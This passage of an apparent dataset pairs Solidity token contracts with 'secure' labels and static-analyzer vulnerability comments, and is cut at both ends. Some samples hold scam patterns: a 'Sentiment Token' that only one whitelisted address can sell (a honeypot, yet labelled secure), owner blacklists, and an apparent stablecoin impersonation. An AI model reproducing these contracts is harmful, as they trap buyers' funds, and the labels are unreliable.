\"BEP20: approve from the zero address\");\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_3054.sol", "secure": 0, "size_bytes": 8376 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Pleiades is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => uint256) private _buyMap;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1e12 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n\t// WARNING Optimization Issue (immutable-states | ID: a2590f3): Pleiades._feeAddrWallet1 should be immutable \n\t// Recommendation for a2590f3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet1;\n\t// WARNING Optimization Issue (immutable-states | ID: 02cedac): Pleiades._feeAddrWallet2 should be immutable \n\t// Recommendation for 02cedac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet2;\n\n string private constant _name = \"Pleiades\";\n string private constant _symbol = \"Pleiades\";\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = _tTotal;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n constructor() {\n _feeAddrWallet1 = payable(0x63362E573c097D2413D657ed18eD23ea3f26D956);\n _feeAddrWallet2 = payable(0x63362E573c097D2413D657ed18eD23ea3f26D956);\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet1] = true;\n _isExcludedFromFee[_feeAddrWallet2] = true;\n emit Transfer(\n address(0x0000000000000000000000000000000000000000),\n _msgSender(),\n _tTotal\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function originalPurchase(address account) public view returns (uint256) {\n return _buyMap[account];\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 87b72f8): Pleiades.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 87b72f8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2d63da2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2d63da2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cfe5f96): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cfe5f96: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2d63da2\n\t\t// reentrancy-benign | ID: cfe5f96\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 2d63da2\n\t\t// reentrancy-benign | ID: cfe5f96\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 59d0d92): Pleiades.setMaxTx(uint256) should emit an event for _maxTxAmount = maxTransactionAmount \n\t// Recommendation for 59d0d92: Emit an event for critical parameter changes.\n function setMaxTx(uint256 maxTransactionAmount) external onlyOwner {\n\t\t// events-maths | ID: 59d0d92\n _maxTxAmount = maxTransactionAmount;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 550c202): Pleiades._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 550c202: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: cfe5f96\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 2d63da2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 153b4ef): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 153b4ef: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 955d7d3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 955d7d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 53af376): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 53af376: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5daefca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5daefca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!_isBuy(from)) {\n if (\n\t\t\t\t// timestamp | ID: 153b4ef\n _buyMap[from] != 0 &&\n (_buyMap[from] + (24 hours) >= block.timestamp)\n ) {\n _feeAddr1 = 1;\n _feeAddr2 = 25;\n } else {\n _feeAddr1 = 1;\n _feeAddr2 = 10;\n }\n } else {\n if (_buyMap[to] == 0) {\n _buyMap[to] = block.timestamp;\n }\n _feeAddr1 = 1;\n _feeAddr2 = 10;\n }\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount);\n\t\t\t\t// timestamp | ID: 153b4ef\n require(cooldown[to] < block.timestamp);\n cooldown[to] = block.timestamp + (30 seconds);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwap && from != uniswapV2Pair && swapEnabled) {\n\t\t\t\t// reentrancy-events | ID: 955d7d3\n\t\t\t\t// reentrancy-benign | ID: 53af376\n\t\t\t\t// reentrancy-eth | ID: 5daefca\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 955d7d3\n\t\t\t\t\t// reentrancy-eth | ID: 5daefca\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 955d7d3\n\t\t// reentrancy-benign | ID: 53af376\n\t\t// reentrancy-eth | ID: 5daefca\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 955d7d3\n\t\t// reentrancy-events | ID: 2d63da2\n\t\t// reentrancy-benign | ID: cfe5f96\n\t\t// reentrancy-benign | ID: 53af376\n\t\t// reentrancy-eth | ID: 5daefca\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 955d7d3\n\t\t// reentrancy-events | ID: 2d63da2\n\t\t// reentrancy-eth | ID: 5daefca\n _feeAddrWallet1.transfer(amount.div(2));\n\t\t// reentrancy-events | ID: 955d7d3\n\t\t// reentrancy-events | ID: 2d63da2\n\t\t// reentrancy-eth | ID: 5daefca\n _feeAddrWallet2.transfer(amount.div(2));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 20d43fe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 20d43fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 584f300): Pleiades.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 584f300: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4c38185): Pleiades.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4c38185: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9e1f54d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9e1f54d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 20d43fe\n\t\t// reentrancy-eth | ID: 9e1f54d\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: 20d43fe\n\t\t// unused-return | ID: 584f300\n\t\t// reentrancy-eth | ID: 9e1f54d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 20d43fe\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: 20d43fe\n cooldownEnabled = true;\n\t\t// reentrancy-benign | ID: 20d43fe\n _maxTxAmount = 20000000000 * 10 ** 9;\n\t\t// reentrancy-eth | ID: 9e1f54d\n tradingOpen = true;\n\t\t// unused-return | ID: 4c38185\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function setBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function removeStrictTxLimit() public onlyOwner {\n _maxTxAmount = 1e12 * 10 ** 9;\n }\n\n function delBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 5daefca\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 5daefca\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 955d7d3\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 5daefca\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f19f048): Pleiades.updateMaxTx(uint256) should emit an event for _maxTxAmount = fee \n\t// Recommendation for f19f048: Emit an event for critical parameter changes.\n function updateMaxTx(uint256 fee) public onlyOwner {\n\t\t// events-maths | ID: f19f048\n _maxTxAmount = fee;\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 5daefca\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 53af376\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _isBuy(address _sender) private view returns (bool) {\n return _sender == uniswapV2Pair;\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}", "file_name": "solidity_code_3055.sol", "secure": 0, "size_bytes": 19368 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x6834CA5AA4c317702B44710d2Db3d09a55aa9914,\n 1000000000 * 10 ** 18\n );\n _enable[0x6834CA5AA4c317702B44710d2Db3d09a55aa9914] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Sentiment Token\";\n _symbol = \"Sent\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}", "file_name": "solidity_code_3056.sol", "secure": 1, "size_bytes": 6003 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IQuoter {\n function quoteExactOutputSingle(\n address tokenIn,\n address tokenOut,\n uint24 fee,\n uint256 amountOut,\n uint160 sqrtPriceLimitX96\n ) external returns (uint256 amountIn);\n\n function WETH9() external view returns (address);\n}", "file_name": "solidity_code_3057.sol", "secure": 1, "size_bytes": 360 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISwapRouter {\n struct ExactOutputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 deadline;\n uint256 amountOut;\n uint256 amountInMaximum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactOutputSingle(\n ExactOutputSingleParams calldata params\n ) external payable returns (uint256 amountIn);\n\n function refundETH() external payable;\n}", "file_name": "solidity_code_3058.sol", "secure": 1, "size_bytes": 542 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Token is ERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _name;\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03c8222): Token._owner should be immutable \n\t// Recommendation for 03c8222: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _owner;\n\n constructor() {\n _symbol = \"USDK\";\n _name = \"USDD Stablecoin Governance Token\";\n _decimals = 6;\n _totalSupply = 10000000000000;\n _owner = payable(msg.sender);\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_3059.sol", "secure": 1, "size_bytes": 4165 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 71a4bc9): Contract locking ether found Contract BabyReindeer has payable functions BabyReindeer.receive() But does not have a function to withdraw the ether\n// Recommendation for 71a4bc9: Remove the 'payable' attribute or add a withdraw function.\ncontract BabyReindeer is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Baby Reindeer\";\n\n string private constant _symbol = \"Martha\";\n\n uint256 private constant _totalSupply = 1_000_000_000 * 10 ** 18;\n\n uint256 public maxWalletlimit = 10_000_000 * 10 ** 18;\n\n uint256 public minSwap = 100000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n IUniswapV2Router02 immutable uniswapV2Router;\n\n address immutable uniswapV2Pair;\n\n address immutable WETH;\n\n address payable public marketingWallet;\n\n uint256 public buyTax;\n\n uint256 public sellTax;\n\n uint8 private inSwapAndLiquify;\n\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n WETH = uniswapV2Router.WETH();\n\n buyTax = 20;\n\n sellTax = 40;\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(msg.sender);\n\n _balance[msg.sender] = _totalSupply;\n\n _isExcludedFromFees[marketingWallet] = true;\n\n _isExcludedFromFees[msg.sender] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[address(uniswapV2Router)] = true;\n\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1dd0bbe): BabyReindeer.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1dd0bbe: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c89c78e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c89c78e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c54ffb2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c54ffb2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n 